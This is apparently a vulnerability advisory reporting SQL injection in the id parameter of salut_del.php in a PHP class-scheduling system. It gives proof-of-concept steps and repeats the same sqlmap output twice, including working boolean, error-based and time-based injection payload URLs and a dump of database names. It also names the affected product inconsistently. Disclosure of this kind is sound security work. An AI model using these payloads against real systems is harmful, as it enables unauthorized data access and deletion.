

XSS1 / SQL12.md

intercpt Create SQL12.md

23ad0dd · 2 weeks ago



60 lines (35 loc) · 2.02 KB

Preview

Code

Blame

Raw



SQL Injection in Online Class and Exam Scheduling System via /salut_del.php endpoint

[Online Class and Exam Scheduling System In PHP With Source Code](#)

NAME OF AFFECTED PRODUCT(S)

Blood Bank Management System In PHP With Source Code

Vendor Homepage

<https://code-projects.org/online-class-and-exam-scheduling-system-in-php-with-source-code/>

Manufacturers sites

<https://code-projects.org/>

AFFECTED VERSION(S)

Vulnerable File

\\scheduling\\pages\\salut_del.php(8) ID parameter.

VERSION(S)

- v1.0

Software Link

<https://download.code-projects.org/details/93487762-3e23-48ab-a56f-af5e61441ee1>

PROBLEM TYPE

Vulnerability Type

SQL Injection

Description of the vulnerability

/salut_del.php endpoint in the Online Class and Exam Scheduling System is vulnerable to SQL Injection. This vulnerability allows attackers to inject malicious SQL queries to the backend database which could result compromise of Confidentiality, integrity and availability of the data and the system.

Vulnerability recurrence

POC

1. Login into the application as Admin privilege user
2. Once logged in, navigate to /scheduling/pages/salut_del.php?id=
3. Inject simple SQL Injection payload (') in the code paramter
4. Observe that application responds with SQL Error

← → ↻  https://www.resssdf.com/scheduling/pages/salut_del.php?id=5%27

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "5" at line 1 in C:\xampp\htdocs\scheduling\pages\salut_del.php:8 Stack trace: #0 C:\xampp\htdocs\scheduling\pages\salut_del.php(8): mysqli_query(Object(mysqli), 'DELETE FROM salut...') #1 {main} thrown in C:\xampp\htdocs\scheduling\pages\salut_del.php on line 8

5. Now use SQLMap or manual approach and observe that this vulnerable endpoint is completely exploitable.

```

[16:52:33] [INFO] testing 'MySQL UNION query (random number) = 81 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 371 HTTP(s) requests:
-----
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' RLIKE (SELECT (CASE WHEN (9458=9458) THEN '' ELSE 0x28 END))-- ZmNc

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' AND EXTRACTVALUE(5210,CONCAT(0x5c,0x7171626a71,(SELECT (ELT(5210=5210,1))),0x717a716b71))--

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' AND (SELECT 3431 FROM (SELECT(SLEEP(5)))raFv)-- BIRk
-----
[16:52:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[16:52:33] [INFO] fetching database names
[16:52:33] [INFO] retrieved: 'information_schema'
[16:52:33] [INFO] retrieved: 'blood_bank'
[16:52:33] [INFO] retrieved: 'medallion'
[16:52:33] [INFO] retrieved: 'mysql'
[16:52:33] [INFO] retrieved: 'performance_schema'
[16:52:33] [INFO] retrieved: 'phpmyadmin'
[16:52:34] [INFO] retrieved: 'scheduling'
[16:52:34] [INFO] retrieved: 'test'
available databases [8]:
[*] blood_bank
[*] information_schema
[*] medallion
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] scheduling
[*] test

```

Result

This vulnerability allows attackers to inject malicious SQL queries to the backend database which could result compromise of Confidentiality, integrity and availability of the data and the system.

http://bloodbankmgmtsystem/scheduling/pages/salut_del.php?id=



```

[16:52:33] [INFO] testing 'MySQL UNION query (random number) = 81 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 371 HTTP(s) requests:
-----
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' RLIKE (SELECT (CASE WHEN (9458=9458) THEN '' ELSE 0x28 END))-- ZmNc

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' AND EXTRACTVALUE(5210,CONCAT(0x5c,0x7171626a71,(SELECT (ELT(5210=5210,1))),0x717a716b71))--

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://www.ressssd.com:80/scheduling/pages/salut_del.php?id=' AND (SELECT 3431 FROM (SELECT(SLEEP(5)))raFv)-- BIRk
-----
[16:52:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[16:52:33] [INFO] fetching database names
[16:52:33] [INFO] retrieved: 'information_schema'
[16:52:33] [INFO] retrieved: 'blood_bank'
[16:52:33] [INFO] retrieved: 'medallion'
[16:52:33] [INFO] retrieved: 'mysql'
[16:52:33] [INFO] retrieved: 'performance_schema'
[16:52:33] [INFO] retrieved: 'phpmyadmin'
[16:52:34] [INFO] retrieved: 'scheduling'
[16:52:34] [INFO] retrieved: 'test'
available databases [8]:
[*] blood_bank
[*] information_schema
[*] medallion
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] scheduling
[*] test

```